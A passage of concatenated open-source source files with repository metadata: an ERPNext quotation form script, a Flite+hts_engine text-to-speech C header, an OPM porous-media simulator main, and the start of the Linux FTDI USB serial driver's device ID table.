this.frm.add_custom_button(__('Opportunity'),
function() {
erpnext.utils.map_current_doc({
method: "erpnext.crm.doctype.opportunity.opportunity.make_quotation",
source_doctype: "Opportunity",
target: me.frm,
setters: [
{
label: "Party",
fieldname: "party_name",
fieldtype: "Link",
options: me.frm.doc.quotation_to,
default: me.frm.doc.party_name || undefined
},
{
label: "Opportunity Type",
fieldname: "opportunity_type",
fieldtype: "Link",
options: "Opportunity Type",
default: me.frm.doc.order_type || undefined
}
],
get_query_filters: {
status: ["not in", ["Lost", "Closed"]],
company: me.frm.doc.company
}
})
}, __("Get items from"), "btn-default");
}
this.toggle_reqd_lead_customer();
},
set_dynamic_field_label: function(){
if (this.frm.doc.quotation_to == "Customer")
{
this.frm.set_df_property("party_name", "label", "Customer");
this.frm.fields_dict.party_name.get_query = null;
}
if (this.frm.doc.quotation_to == "Lead")
{
this.frm.set_df_property("party_name", "label", "Lead");
this.frm.fields_dict.party_name.get_query = function() {
return{ query: "erpnext.controllers.queries.lead_query" }
}
}
},
toggle_reqd_lead_customer: function() {
var me = this;
// to overwrite the customer_filter trigger from queries.js
this.frm.toggle_reqd("party_name", this.frm.doc.quotation_to);
this.frm.set_query('customer_address', this.address_query);
this.frm.set_query('shipping_address_name', this.address_query);
},
tc_name: function() {
this.get_terms();
},
address_query: function(doc) {
return {
query: 'frappe.contacts.doctype.address.address.address_query',
filters: {
link_doctype: frappe.dynamic_link.doctype,
link_name: doc.party_name
}
};
},
validate_company_and_party: function(party_field) {
if(!this.frm.doc.quotation_to) {
frappe.msgprint(__("Please select a value for {0} quotation_to {1}", [this.frm.doc.doctype, this.frm.doc.name]));
return false;
} else if (this.frm.doc.quotation_to == "Lead") {
return true;
} else {
return this._super(party_field);
}
},
get_lead_details: function() {
var me = this;
if(!this.frm.doc.quotation_to === "Lead") {
return;
}
frappe.call({
method: "erpnext.crm.doctype.lead.lead.get_lead_details",
args: {
'lead': this.frm.doc.party_name,
'posting_date': this.frm.doc.transaction_date,
'company': this.frm.doc.company,
},
callback: function(r) {
if(r.message) {
me.frm.updating_party_details = true;
me.frm.set_value(r.message);
me.frm.refresh();
me.frm.updating_party_details = false;
}
}
})
}
});
cur_frm.script_manager.make(erpnext.selling.QuotationController);
cur_frm.cscript['Make Sales Order'] = function() {
frappe.model.open_mapped_doc({
method: "erpnext.selling.doctype.quotation.quotation.make_sales_order",
frm: cur_frm
})
}
cur_frm.cscript['Declare Order Lost'] = function(){
var dialog = new frappe.ui.Dialog({
title: __('Set as Lost'),
fields: [
{"fieldtype": "Text", "label": __("Reason for losing"), "fieldname": "reason",
"reqd": 1 },
{"fieldtype": "Button", "label": __("Update"), "fieldname": "update"},
]
});
dialog.fields_dict.update.$input.click(function() {
var args = dialog.get_values();
if(!args) return;
return cur_frm.call({
method: "declare_order_lost",
doc: cur_frm.doc,
args: args,
callback: function(r) {
if(r.exc) {
frappe.msgprint(__("There were errors."));
return;
}
dialog.hide();
cur_frm.refresh();
},
btn: this
})
});
dialog.show();
}
frappe.ui.form.on("Quotation Item", "items_on_form_rendered", "packed_items_on_form_rendered", function(frm, cdt, cdn) {
// enable tax_amount field if Actual
})
frappe.ui.form.on("Quotation Item", "stock_balance", function(frm, cdt, cdn) {
var d = frappe.model.get_doc(cdt, cdn);
frappe.route_options = {"item_code": d.item_code};
frappe.set_route("query-report", "Stock Balance");
})
|
ovresko/erpnext
|
erpnext/selling/doctype/quotation/quotation.js
|
JavaScript
|
gpl-3.0
| 6,649 |
/* ----------------------------------------------------------------- */
/* The English TTS System "Flite+hts_engine" */
/* developed by HTS Working Group */
/* http://hts-engine.sourceforge.net/ */
/* ----------------------------------------------------------------- */
/* */
/* Copyright (c) 2005-2016 Nagoya Institute of Technology */
/* Department of Computer Science */
/* */
/* 2005-2008 Tokyo Institute of Technology */
/* Interdisciplinary Graduate School of */
/* Science and Engineering */
/* */
/* All rights reserved. */
/* */
/* Redistribution and use in source and binary forms, with or */
/* without modification, are permitted provided that the following */
/* conditions are met: */
/* */
/* - Redistributions of source code must retain the above copyright */
/* notice, this list of conditions and the following disclaimer. */
/* - Redistributions in binary form must reproduce the above */
/* copyright notice, this list of conditions and the following */
/* disclaimer in the documentation and/or other materials provided */
/* with the distribution. */
/* - Neither the name of the HTS working group nor the names of its */
/* contributors may be used to endorse or promote products derived */
/* from this software without specific prior written permission. */
/* */
/* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND */
/* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, */
/* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF */
/* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */
/* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS */
/* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, */
/* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED */
/* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, */
/* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON */
/* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, */
/* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY */
/* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE */
/* POSSIBILITY OF SUCH DAMAGE. */
/* ----------------------------------------------------------------- */
#ifndef FLITE_HTS_ENGINE_H
#define FLITE_HTS_ENGINE_H
#ifdef __cplusplus
#define FLITE_HTS_ENGINE_H_START extern "C" {
#define FLITE_HTS_ENGINE_H_END }
#else
#define FLITE_HTS_ENGINE_H_START
#define FLITE_HTS_ENGINE_H_END
#endif /* __CPLUSPLUS */
FLITE_HTS_ENGINE_H_START;
#include "HTS_engine.h"
typedef struct _Flite_HTS_Engine {
HTS_Engine engine;
} Flite_HTS_Engine;
/* Flite_HTS_Engine_initialize: initialize system */
void Flite_HTS_Engine_initialize(Flite_HTS_Engine * f);
/* Flite_HTS_Engine_load: load HTS voice */
HTS_Boolean Flite_HTS_Engine_load(Flite_HTS_Engine * f, const char *fn);
/* Flite_HTS_Engine_set_sampling_frequency: set sampling frequency */
void Flite_HTS_Engine_set_sampling_frequency(Flite_HTS_Engine * f, size_t i);
/* Flite_HTS_Engine_set_fperiod: set frame period */
void Flite_HTS_Engine_set_fperiod(Flite_HTS_Engine * f, size_t i);
/* Flite_HTS_Engine_set_audio_buff_size: set audio buffer size */
void Flite_HTS_Engine_set_audio_buff_size(Flite_HTS_Engine * engine, size_t i);
/* Flite_HTS_Engine_set_volume: set volume in dB */
void Flite_HTS_Engine_set_volume(Flite_HTS_Engine * engine, double d);
/* Flite_HTS_Engine_set_alpha: set alpha */
void Flite_HTS_Engine_set_alpha(Flite_HTS_Engine * f, double d);
/* Flite_HTS_Engine_set_beta: set beta */
void Flite_HTS_Engine_set_beta(Flite_HTS_Engine * f, double d);
/* Flite_HTS_Engine_add_half_tone: add half-tone */
void Flite_HTS_Engine_add_half_tone(Flite_HTS_Engine * f, double d);
/* Flite_HTS_Engine_set_msd_threshold: set MSD threshold */
void Flite_HTS_Engine_set_msd_threshold(Flite_HTS_Engine * f, size_t stream_index, double d);
/* Flite_HTS_Engine_set_gv_weight: set GV weight */
void Flite_HTS_Engine_set_gv_weight(Flite_HTS_Engine * f, size_t stream_index, double d);
/* Flite_HTS_Engine_set_speed: set speech speed */
void Flite_HTS_Engine_set_speed(Flite_HTS_Engine * engine, double f);
/* Flite_HTS_Engine_synthesize: synthesize speech */
HTS_Boolean Flite_HTS_Engine_synthesize(Flite_HTS_Engine * f, const char *txt, const char *wav);
/* Flite_HTS_Engine_clear: free system */
void Flite_HTS_Engine_clear(Flite_HTS_Engine * f);
typedef struct _Flite_Text_Analyzer {
void *pointer;
} Flite_Text_Analyzer;
/* Flite_Text_Analyzer_initialize: initialize flite front-end */
void Flite_Text_Analyzer_initialize(Flite_Text_Analyzer * analyzer);
/* Flite_Text_Analyzer_analysis: text analysis */
void Flite_Text_Analyzer_analysis(Flite_Text_Analyzer * analyzer, const char *text);
/* Flite_Text_Analyzer_get_nphoneme_in_utterance: get number of phonemes */
int Flite_Text_Analyzer_get_nphoneme_in_utterance(Flite_Text_Analyzer * analyzer);
/* Flite_Text_Analyzer_get_phoneme: get phoneme identity */
const char *Flite_Text_Analyzer_get_phoneme(Flite_Text_Analyzer * analyzer, int phoneme_index);
/* Flite_Text_Analyzer_get_word: get word */
const char *Flite_Text_Analyzer_get_word(Flite_Text_Analyzer * analyzer, int phoneme_index);
/* Flite_Text_Analyzer_get_nphoneme_in_syllable: get number of phonemes in syllable */
int Flite_Text_Analyzer_get_nphoneme_in_syllable(Flite_Text_Analyzer * analyzer, int phoneme_index);
/* Flite_Text_Analayzer_get_nsyllable_in_word: get number of syllables in word */
int Flite_Text_Analyzer_get_nsyllable_in_word(Flite_Text_Analyzer * analyzer, int phoneme_index);
/* Flite_Text_Analyzer_get_nword_in_phrase: get number of words in phrase */
int Flite_Text_Analyzer_get_nword_in_phrase(Flite_Text_Analyzer * analyzer, int phoneme_index);
/* Flite_Text_Analyzer_get_nphrase_in_utterance: get number of phrases in utterance */
int Flite_Text_Analyzer_get_nphrase_in_utterance(Flite_Text_Analyzer * analyzer, int phoneme_index);
/* Flite_Text_Analyzer_get_accent: get accent */
int Flite_Text_Analyzer_get_accent(Flite_Text_Analyzer * analyzer, int phoneme_index);
/* Flite_Text_Analyzer_get_stress: get stress */
int Flite_Text_Analyzer_get_stress(Flite_Text_Analyzer * analyzer, int phoneme_index);
/* Flite_Text_Analyzer_get_label_data: get label */
HTS_Boolean Flite_Text_Analyzer_get_label_data(Flite_Text_Analyzer * analyzer, char ***label_data, int *label_size);
/* Flite_Text_Analyzer_clear: finalize flite front-end */
void Flite_Text_Analyzer_clear(Flite_Text_Analyzer * analyzer);
FLITE_HTS_ENGINE_H_END;
#endif /* FLITE_HTS_ENGINE_H */
|
ideasiii/ControllerPlatform
|
Controller-TTS/textToSpeech/hts_engine/flite_hts_engine.h
|
C
|
gpl-3.0
| 7,466 |
/*
Copyright 2009, 2010 SINTEF ICT, Applied Mathematics.
Copyright 2009, 2010 Statoil ASA.
This file is part of the Open Porous Media project (OPM).
OPM is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
OPM is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with OPM. If not, see <http://www.gnu.org/licenses/>.
*/
#include "config.h"
#define VERBOSE
//#define USE_TBB
#include <opm/common/utility/platform_dependent/disable_warnings.h>
#include <dune/common/version.hh>
#if DUNE_VERSION_NEWER(DUNE_COMMON, 2, 3)
#include <dune/common/parallel/mpihelper.hh>
#else
#include <dune/common/mpihelper.hh>
#endif
#include <opm/common/utility/platform_dependent/reenable_warnings.h>
#include "SimulatorTester.hpp"
#include "SimulatorTesterFlexibleBC.hpp"
#include <opm/porsol/common/SimulatorTraits.hpp>
#ifdef USE_TBB
#include <tbb/task_scheduler_init.h>
#endif // USE_TBB
#include <iostream>
using namespace Opm;
typedef SimulatorTraits<Isotropic, Explicit> SimTraits;
typedef SimulatorTesterFlexibleBC<SimTraits> Simulator;
int main(int argc, char** argv)
try
{
Opm::parameter::ParameterGroup param(argc, argv);
Dune::MPIHelper::instance(argc,argv);
#ifdef USE_TBB
int num_threads = param.getDefault("num_threads", tbb::task_scheduler_init::default_num_threads());
tbb::task_scheduler_init init(num_threads);
#endif
Simulator sim;
sim.init(param);
sim.run();
}
catch (const std::exception &e) {
std::cerr << "Program threw an exception: " << e.what() << "\n";
throw;
}
|
jokva/opm-upscaling
|
examples/sim_steadystate_explicit.cpp
|
C++
|
gpl-3.0
| 1,966 |
/*
* USB FTDI SIO driver
*
* Copyright (C) 2009 - 2010
* Johan Hovold ([email protected])
* Copyright (C) 1999 - 2001
* Greg Kroah-Hartman ([email protected])
* Bill Ryder ([email protected])
* Copyright (C) 2002
* Kuba Ober ([email protected])
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* See Documentation/usb/usb-serial.txt for more information on using this
* driver
*
* See http://ftdi-usb-sio.sourceforge.net for upto date testing info
* and extra documentation
*
* Change entries from 2004 and earlier can be found in versions of this
* file in kernel versions prior to the 2.6.24 release.
*
*/
/* Bill Ryder - [email protected] - wrote the FTDI_SIO implementation */
/* Thanx to FTDI for so kindly providing details of the protocol required */
/* to talk to the device */
/* Thanx to gkh and the rest of the usb dev group for all code I have
assimilated :-) */
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <linux/tty_flip.h>
#include <linux/module.h>
#include <linux/spinlock.h>
#include <linux/mutex.h>
#include <linux/uaccess.h>
#include <linux/usb.h>
#include <linux/serial.h>
#include <linux/usb/serial.h>
#include "ftdi_sio.h"
#include "ftdi_sio_ids.h"
/*
* Version Information
*/
#define DRIVER_VERSION "v1.6.0"
#define DRIVER_AUTHOR "Greg Kroah-Hartman <[email protected]>, Bill Ryder <[email protected]>, Kuba Ober <[email protected]>, Andreas Mohr, Johan Hovold <[email protected]>"
#define DRIVER_DESC "USB FTDI Serial Converters Driver"
static int debug;
static __u16 vendor = FTDI_VID;
static __u16 product;
struct ftdi_private {
struct kref kref;
enum ftdi_chip_type chip_type;
/* type of device, either SIO or FT8U232AM */
int baud_base; /* baud base clock for divisor setting */
int custom_divisor; /* custom_divisor kludge, this is for
baud_base (different from what goes to the
chip!) */
__u16 last_set_data_urb_value ;
/* the last data state set - needed for doing
* a break
*/
int flags; /* some ASYNC_xxxx flags are supported */
unsigned long last_dtr_rts; /* saved modem control outputs */
wait_queue_head_t delta_msr_wait; /* Used for TIOCMIWAIT */
char prev_status, diff_status; /* Used for TIOCMIWAIT */
struct usb_serial_port *port;
__u16 interface; /* FT2232C, FT2232H or FT4232H port interface
(0 for FT232/245) */
speed_t force_baud; /* if non-zero, force the baud rate to
this value */
int force_rtscts; /* if non-zero, force RTS-CTS to always
be enabled */
unsigned int latency; /* latency setting in use */
unsigned short max_packet_size;
struct mutex cfg_lock; /* Avoid mess by parallel calls of config ioctl() and change_speed() */
};
/* struct ftdi_sio_quirk is used by devices requiring special attention. */
struct ftdi_sio_quirk {
int (*probe)(struct usb_serial *);
/* Special settings for probed ports. */
void (*port_probe)(struct ftdi_private *);
};
static int ftdi_jtag_probe(struct usb_serial *serial);
static int ftdi_mtxorb_hack_setup(struct usb_serial *serial);
static int ftdi_NDI_device_setup(struct usb_serial *serial);
static void ftdi_USB_UIRT_setup(struct ftdi_private *priv);
static void ftdi_HE_TIRA1_setup(struct ftdi_private *priv);
static struct ftdi_sio_quirk ftdi_jtag_quirk = {
.probe = ftdi_jtag_probe,
};
static struct ftdi_sio_quirk ftdi_mtxorb_hack_quirk = {
.probe = ftdi_mtxorb_hack_setup,
};
static struct ftdi_sio_quirk ftdi_NDI_device_quirk = {
.probe = ftdi_NDI_device_setup,
};
static struct ftdi_sio_quirk ftdi_USB_UIRT_quirk = {
.port_probe = ftdi_USB_UIRT_setup,
};
static struct ftdi_sio_quirk ftdi_HE_TIRA1_quirk = {
.port_probe = ftdi_HE_TIRA1_setup,
};
/*
* The 8U232AM has the same API as the sio except for:
* - it can support MUCH higher baudrates; up to:
* o 921600 for RS232 and 2000000 for RS422/485 at 48MHz
* o 230400 at 12MHz
* so .. 8U232AM's baudrate setting codes are different
* - it has a two byte status code.
* - it returns characters every 16ms (the FTDI does it every 40ms)
*
* the bcdDevice value is used to differentiate FT232BM and FT245BM from
* the earlier FT8U232AM and FT8U232BM. For now, include all known VID/PID
* combinations in both tables.
* FIXME: perhaps bcdDevice can also identify 12MHz FT8U232AM devices,
* but I don't know if those ever went into mass production. [Ian Abbott]
*/
/*
* Device ID not listed? Test via module params product/vendor or
* /sys/bus/usb/ftdi_sio/new_id, then send patch/report!
*/
static struct usb_device_id id_table_combined [] = {
{ USB_DEVICE(FTDI_VID, FTDI_AMC232_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_CANUSB_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_CANDAPTER_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_NXTCAM_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_0_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_1_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_2_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_3_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_4_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_5_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_6_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_7_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_USINT_CAT_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_USINT_WKEY_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_USINT_RS232_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ACTZWAVE_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IRTRANS_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IPLUS_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IPLUS2_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_DMX4ALL) },
{ USB_DEVICE(FTDI_VID, FTDI_SIO_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_8U232AM_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_8U232AM_ALT_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_232RL_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_8U2232C_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_4232H_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MICRO_CHAMELEON_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_RELAIS_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_SNIFFER_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_THROTTLE_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_GATEWAY_PID) },
{ USB_DEVICE(INTERBIOMETRICS_VID, INTERBIOMETRICS_IOBOARD_PID) },
{ USB_DEVICE(INTERBIOMETRICS_VID, INTERBIOMETRICS_MINI_IOBOARD_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SPROG_II) },
{ USB_DEVICE(FTDI_VID, FTDI_LENZ_LIUSB_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_XF_632_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_XF_634_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_XF_547_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_XF_633_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_XF_631_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_XF_635_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_XF_640_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_XF_642_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_DSS20_PID) },
{ USB_DEVICE(FTDI_NF_RIC_VID, FTDI_NF_RIC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_VNHCPCUSB_D_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_0_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_1_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_2_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_3_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_4_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_5_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_6_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_R2000KU_TRUE_RNG) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0100_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0101_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0102_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0103_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0104_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0105_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0106_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0107_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0108_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0109_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0110_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0111_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0112_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0113_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0114_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0115_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0116_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0117_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0118_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0119_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0120_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0121_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0122_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0123_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0124_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0125_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0126_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0127_PID),
.driver_info = (kernel_ulong_t)&ftdi_mtxorb_hack_quirk },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0128_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0129_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012C_PID),
.driver_info = (kernel_ulong_t)&ftdi_mtxorb_hack_quirk },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0130_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0131_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0132_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0133_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0134_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0135_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0136_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0137_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0138_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0139_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0140_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0141_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0142_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0143_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0144_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0145_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0146_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0147_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0148_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0149_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0150_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0151_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0152_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0153_PID),
.driver_info = (kernel_ulong_t)&ftdi_mtxorb_hack_quirk },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0154_PID),
.driver_info = (kernel_ulong_t)&ftdi_mtxorb_hack_quirk },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0155_PID),
.driver_info = (kernel_ulong_t)&ftdi_mtxorb_hack_quirk },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0156_PID),
.driver_info = (kernel_ulong_t)&ftdi_mtxorb_hack_quirk },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0157_PID),
.driver_info = (kernel_ulong_t)&ftdi_mtxorb_hack_quirk },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0158_PID),
.driver_info = (kernel_ulong_t)&ftdi_mtxorb_hack_quirk },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0159_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0160_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0161_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0162_PID) },
